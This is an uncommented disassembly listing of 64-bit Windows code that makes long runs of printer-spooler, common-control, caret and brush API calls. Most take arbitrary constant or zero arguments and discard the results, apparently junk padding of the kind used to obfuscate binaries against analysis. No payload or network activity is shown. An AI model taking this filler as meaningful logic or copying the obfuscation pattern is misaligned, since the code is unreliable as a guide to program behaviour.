mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8e30]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov qword [rsp + 0x20], 0xb7
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8da8]
mov rdx, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4764], eax
mov dword [rsp + 0x28], 0xeb
lea rax, [rsp + 0x7b18]
mov qword [rsp + 0x20], rax
mov r9d, 0xae
mov r8, qword [rsp + 0x8e88]
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f60], rax
mov r9d, 0x46
lea r8, [rsp + 0x1a2f8]
xor edx, edx
mov rcx, qword [rsp + 0x8fd0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4660], eax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x20], rax
mov r9d, 0xbb
mov r8, qword [rsp + 0x8c00]
mov rdx, qword [rsp + 0x8f40]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x465c], eax
lea rax, [rsp + 0x271]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x7b
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x20], rax
mov r9d, 0x17
mov r8d, 0xd8
mov edx, 0xf9
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x476c], eax
lea rax, [rsp + 0x4728]
mov qword [rsp + 0x20], rax
mov r9d, 0x4b
lea r8, [rsp + 0x8cf8]
mov edx, 0x6d
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4660], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4770], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x7b18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8410], rax
mov edx, 0x73
mov rcx, qword [rsp + 0x8fb8]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x8f18]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x98
lea rax, [rsp + 0x8f50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8d90]
mov r8, qword [rsp + 0x8cb0]
mov rdx, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x8ea0]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x474c], eax
jmp 0x14019ee35
lea rax, [rsp + 0x1edf0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf2
lea rax, [rsp + 0x4654]
mov qword [rsp + 0x20], rax
mov r9d, 0x2d
mov r8d, 0xc8
mov edx, 0xd6
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
sub eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
movsx eax, word [rsp + 0xef0]
movsx ecx, word [0x14024f3be]
and eax, ecx
mov word [rsp + 0xa54], ax
mov r9d, reloc.COMCTL32.dll_LBItemFromPt
lea r8, [rsp + 0xee]
mov edx, 0xa1
mov rcx, qword [rsp + 0x8fe0]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x468c], eax
mov r9d, 0x14
lea r8, [rsp + 0x8cf8]
xor edx, edx
mov rcx, qword [rsp + 0x8fd0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x46dc], eax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4660]
mov qword [rsp + 0x20], rax
mov r9d, 0x36
lea r8, [rsp + 0x1ed90]
mov edx, 0x1f
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x467c], eax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x270], al
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x20], rax
mov r9d, 0x1e
mov r8, qword [rsp + 0x8f00]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4774], eax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x20], rax
mov r9d, 0x7c
lea r8, [rsp + 0x4750]
mov edx, 0x42
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4778], eax
mov eax, dword [rsp + 0x470c]
mov ecx, dword [rsp + 0x46e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x464c], eax
mov qword [rsp + 0x20], 0x32
mov r9, qword [rsp + 0x8bc0]
mov r8, qword [rsp + 0x8fe8]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4764], eax
mov r8, qword [rsp + 0x8ff0]
mov rdx, qword [rsp + 0x8c30]
mov rcx, qword [rsp + 0x8c00]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x46d8], eax
lea rax, [rsp + 0x8f10]
mov qword [rsp + 0x20], rax
mov r9d, 0xe0
mov r8, qword [rsp + 0x8c00]
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46e8], eax
jmp 0x14019ee35
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0x26f], al
jmp 0x14019ee35
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov byte [rsp + 0x477c], al
cmp byte [rsp + 0x477c], 0x37
je 0x14003b233
cmp byte [rsp + 0x477c], 0x40
je 0x14003af4f
cmp byte [rsp + 0x477c], 0x44
je 0x14003b0a1
cmp byte [rsp + 0x477c], 0x5d
je 0x14003b0db
jmp 0x14003b441
lea rcx, [rsp + 0x9000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov byte [rsp + 0x4780], al
cmp byte [rsp + 0x4780], 9
je 0x14003b01a
cmp byte [rsp + 0x4780], 0xd
je 0x14003b042
cmp byte [rsp + 0x4780], 0x40
je 0x14003af9a
jmp 0x14003b083
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov word [rsp + 0xf00], ax
mov eax, dword [rsp + 0x4738]
mov dword [rsp + 0x469c], eax
lea rax, [rsp + 0x7b18]
mov qword [rsp + 0x9008], rax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x9010], rax
jmp 0x14003b09c
lea r9, [rsp + 0x8d80]
lea r8, [rsp + 0x8c20]
xor edx, edx
mov rcx, qword [rsp + 0x9018]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x468c], eax
jmp 0x14003b09c
mov dword [rsp + 0x28], 0xfe
lea rax, [rsp + 0x9008]
mov qword [rsp + 0x20], rax
mov r9d, 0xba
mov r8, qword [rsp + 0x8be0]
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x465c], eax
jmp 0x14003b09c
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0xef0], ax
jmp 0x14003b666
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
add eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
lea rcx, [rsp + 0x1a268]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9020], rax
jmp 0x14003b666
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46e4], eax
mov rax, qword [rsp + 0x8ce8]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb5c], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x46a0], eax
lea r8, [rsp + 0xf00]
xor edx, edx
mov rcx, qword [rsp + 0x8d80]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4784], eax
lea rdx, [rsp + 0x1a310]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4788], eax
mov r9d, 0xe4
lea r8, [rsp + 0x9008]
mov edx, 0xa8
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x478c], eax
mov r9d, 0x34
mov r8d, 8
mov edx, 0xa8
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov eax, dword [rsp + 0x4774]
mov ecx, dword [rsp + 0x464c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
lea rcx, [rsp + 0x1a278]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c08], rax
movzx eax, word [0x14024f3c8]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x20], 0x37
lea r9, [rsp + 0x8bc0]
mov r8d, 0xad
mov edx, 0xf5
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x473c], eax
jmp 0x14003b666
mov edx, 0xd3
lea rcx, [rsp + 0x8e80]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80e0], rax
mov r9d, 0xa
mov r8d, 0x9c
mov rdx, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x9030]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x468c], eax
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4660], eax
lea rax, [rsp + 0x8e08]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x4e
lea r9, [rsp + 0x8d98]
mov r8d, 0xf3
mov rdx, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4790], eax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x26f]
xor eax, ecx
mov byte [rsp + 0xee], al
lea r9, [rsp + 0x8e58]
mov r8d, 0x69
mov rdx, qword [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x9038]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x4694], eax
lea r8, [rsp + 0x8e00]
xor edx, edx
mov rcx, qword [rsp + 0x8c80]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x467c], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
movsx eax, word [rsp + 0xa54]
movsx ecx, word [0x14024f3be]
or eax, ecx
mov word [rsp + 0xef0], ax
mov qword [rsp + 0x20], 0x27
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x9040]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8c68], rax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4728], eax
mov r8d, 0x23
mov rdx, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x9048]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e00]
mov qword [rsp + 0x9050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9050]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14022fb5c], eax
jmp 0x14003b666
mov dword [rsp + 0x28], 0xdc
lea rax, [rsp + 0x1a2c8]
mov qword [rsp + 0x20], rax
mov r9d, 0xe3
mov r8, qword [rsp + 0x9058]
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x470c], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4734], eax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4768]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf00], ax
lea r8, [rsp + 0x8f18]
xor edx, edx
mov rcx, qword [rsp + 0x8b58]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4794], eax
lea rax, [rsp + 0x8fe8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x70
lea r9, [rsp + 0x8ce8]
mov r8d, reloc.COMCTL32.dll_MakeDragList
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4798], eax
lea rcx, [rsp + 0x1a268]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x7f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x20], rax
mov r9d, 0xf7
lea r8, [rsp + 0xf00]
mov edx, 0x4b
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
mov r9d, 0xbf
lea r8, [rsp + 0x1eeb0]
mov edx, 0x3b
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4790], eax
mov eax, dword [rsp + 0x465c]
mov dword [rsp + 0x46a0], eax
mov r8d, 1
mov rdx, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x9060]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4314], eax
mov edx, 0xeb
mov rcx, qword [rsp + 0x8db0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8cc0], rax
lea rax, [rsp + 0x1a288]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x20], rax
mov r9d, 0xdb
lea r8, [rsp + 0x7b18]
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x9068]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x4670], eax
movzx eax, word [rsp + 0x6d8]
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x20], 0x16b4
mov r9d, 0xf18
mov r8d, 0x1725
mov edx, 0x1961
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x46f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9070], rax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4764], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0xb4c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47a0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x425
mov r9d, 0x3064
mov r8d, 0xedbe907e
mov edx, 1
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46c0], eax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb68], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x273], al
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d3], al
mov eax, dword [rsp + 0x464c]
mov dword [rsp + 0x465c], eax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
movzx ecx, word [0x14024f3c8]
sub eax, ecx
mov word [rsp + 0x6d8], ax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x7f10]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x7f10]
mov qword [rsp + 0x9088], rax
movabs rax, 0x73c529fec38407
cmp qword [rsp + 0x9088], rax
je 0x14003bd9c
movabs rax, 0x73ca6cde03a9fc
cmp qword [rsp + 0x9088], rax
je 0x14003bbe9
movabs rax, 0x76c1b55cb253e4
cmp qword [rsp + 0x9088], rax
je 0x14003b9ed
movabs rax, 0x7cb78af0da1ca6
cmp qword [rsp + 0x9088], rax
je 0x14003b904
jmp 0x14003bfc4
lea r9, [rsp + 0x8e10]
mov r8d, 0x45
mov rdx, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8ea8]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x4728], eax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xa54]
and eax, ecx
mov word [rsp + 0xef0], ax
mov eax, dword [rsp + 0x46c4]
movzx ecx, al
mov eax, dword [rsp + 0x4314]
sar eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov edx, 0xb3
mov ecx, 0x2e
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9020], rax
mov r9d, 0x5b
lea r8, [rsp + 0x1eeb0]
mov edx, 0xd0
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x46a8], eax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x273], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46a8], eax
mov edx, 0x6e
lea rcx, [rsp + 0x8e58]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x9098], rax
jmp 0x14003bfc4
lea r8, [rsp + 0x8e60]
xor edx, edx
mov rcx, qword [rsp + 0x8fd0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x46b0], eax
mov r9d, 0x8a
mov r8d, 0x29
mov edx, 0xa2
mov rcx, qword [rsp + 0x90a0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov r9d, 0x1c
lea r8, [rsp + 0x273]
xor edx, edx
mov rcx, qword [rsp + 0x8bf8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x47a4], eax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4768]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x274], al
mov r8d, 0x6c
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x8fe8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x8b08]
mov rcx, qword [rsp + 0x7b18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8410], rax
lea rax, [rsp + 0x1a288]
mov qword [rsp + 0x20], rax
mov r9d, 0xef
lea r8, [rsp + 0x8e10]
mov edx, 0x12
mov rcx, qword [rsp + 0x90a8]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x476c], eax
mov r9d, 0x89
mov r8d, 0x35
mov edx, 0x88
mov rcx, qword [rsp + 0x9018]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
add eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9080], rax
mov r9d, 0xfa
mov r8d, 0x14
mov edx, 0xf3
mov rcx, qword [rsp + 0x90b0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
lea rax, [rsp + 0x8f18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x12
lea r9, [rsp + 0x8e60]
mov r8d, 2
mov edx, 0x37
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4698], eax
lea rdx, [rsp + 0x1f070]
mov rcx, qword [rsp + 0x8ec0]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x47a8], eax
jmp 0x14003bfc4
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [0x14024f3c8]
sub eax, ecx
mov word [rsp + 0x6d8], ax
mov r9d, 0xfe
mov r8d, 0xf8
mov edx, 0xa8
mov rcx, qword [rsp + 0x8fb0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
mov rcx, qword [rsp + 0x8b98]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x47a4], eax
movzx eax, word [rsp + 0xeec]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [0x14024f3be], ax
mov rcx, qword [rsp + 0x8d80]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x47ac], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x46d4], eax
lea rax, [rsp + 0x8ba0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x64
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8110]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a268]
mov qword [rsp + 0x20], rax
mov r9d, 0xd5
mov r8, qword [rsp + 0x90b8]
mov edx, 0x75
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4670], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4744], eax
mov rcx, qword [rsp + 0x8fd0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x47b0], eax
mov edx, 0x99
lea rcx, [rsp + 0x8410]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x46e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x270], al
lea rcx, [rsp + 0x1a298]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9020], rax
jmp 0x14003bfc4
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x20], rax
mov r9d, 0x57
mov r8, qword [rsp + 0x90c0]
mov rdx, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x470c], eax
lea r9, [rsp + 0xa54]
lea r8, [rsp + 0x9008]
xor edx, edx
mov rcx, qword [rsp + 0x90b0]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x47b0], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
mov edx, 0x1b
mov rcx, qword [rsp + 0x8b78]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8cc0], rax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
lea rax, [rsp + 0x1edf0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x2a
lea rax, [rsp + 0x8f20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0x20], rax
mov r9d, 0x99
mov r8, qword [rsp + 0x8dd8]
mov edx, 0x41
mov rcx, qword [rsp + 0x90a8]
call sub.WINSPOOL.DRV_EnumPrinterDataW
